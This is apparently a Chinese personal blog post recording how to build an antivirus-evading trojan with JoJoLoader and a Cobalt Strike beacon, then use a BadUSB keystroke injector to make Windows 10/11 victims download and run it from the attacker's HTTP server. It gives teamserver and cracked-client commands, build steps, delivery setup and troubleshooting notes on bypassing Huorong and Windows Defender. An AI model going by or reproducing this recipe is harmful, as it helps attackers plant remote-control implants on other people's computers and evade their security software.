记录制作免杀木马,使用budusb进行近源攻击,绕过火绒和Windows defender,实现cs上线。
环境
硬件:badusb from tb
系统:
- 受害机:Windows11
- 攻击机:kali2023
软件:
- Arduino 1.8.4
- JoJoLoader
- CobaltStrike 4.8
制作木马
cobaltstrike
服务端
仅支持Linux
server监听端口默认为50050,可通过vi teamserer
进行修改
1 | sudo ./teamserver [server_ip] [password] |
客户端
理论上有Java就行,实际启动参数应该与破解者有关,不同版本的启动方式应不同
1 | java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:uHook.jar -jar cobaltstrike-client.jar $* |
创建监听
参考 https://github.com/Pizz33/JoJoLoader?tab=readme-ov-file,制作stageless payload,得到二进制木马beacon_x64.bin(文件名必须是这个)
JoJoLoader环境
安装MinGW
- https://github.com/niXman/mingw-builds-binaries/releases,选择**较新**的x86_64-xxx-release-posix-seh-ucrt-xxx.7z
- 设置环境变量:系统变量中Path添加mingw/bin的路径
gcc -v
验证
安装rust
- 从官网https://www.rust-lang.org/tools/install下载rustup-init.exe,安装过程中需要梯子
- 参考 https://www.cnblogs.com/qumogu/p/16412144.html进行**Customize**安装gnu工具链
rustc --version
验证
beacon_x64.bin置于JoJoLoader项目根目录下,执行”一键生成.bat”,免杀木马存放于output中
踩坑记录
Q:执行一键生成.bat”闪退
A:编辑”一键生成.bat”,在末尾添加一行,可看到报错内容
1 | pause |
E:Linking with x86_64-w64-mingw32-gcc
failed
S:gcc环境没整好,或者版本不对
远程文件下载
攻击机需开放文件下载,使受害机能够下载木马文件。(badusb可写入指令的空间太小,不可直接写入木马文件)
1 | python -m SimpleHTTPServer [port] #python2 |
Windows远程下载方法
1 | wget |
tips:文件路径和木马文件名全大写
Ardunio烧录
版本太新不行
1 | #include<Keyboard.h> |
代码编写tips:
- 注意文件下载后的存放地址,普通用户是否有写入权限
- 很多地方需要
delay()
,且不同受害机需要的时间可能不一样(原理未知)
插入badusb,从工具-端口中选择(一般会带有Arduino字样),再根据badusb型号选择开发板
保存-编译-上传
E:开着虚拟机会导致上传失败
A:……
测试结果
测试多台win10&win11,有几类情况
- 文件无法下载,应该是打开cmd后的delay时间不够
- 文件执行无法上线,应该是被查杀了??
- 窗口无法退出,应该是执行文件后delay时间不够
todo
win11的命令行窗口和win10的不一样,无法执行窗口缩小
开着虚拟机时插入usb会有点问题
在受害机本身开着大写锁定的情况下会出问题
无法绕过360
delay时长难以把控
执行过程太容易被打断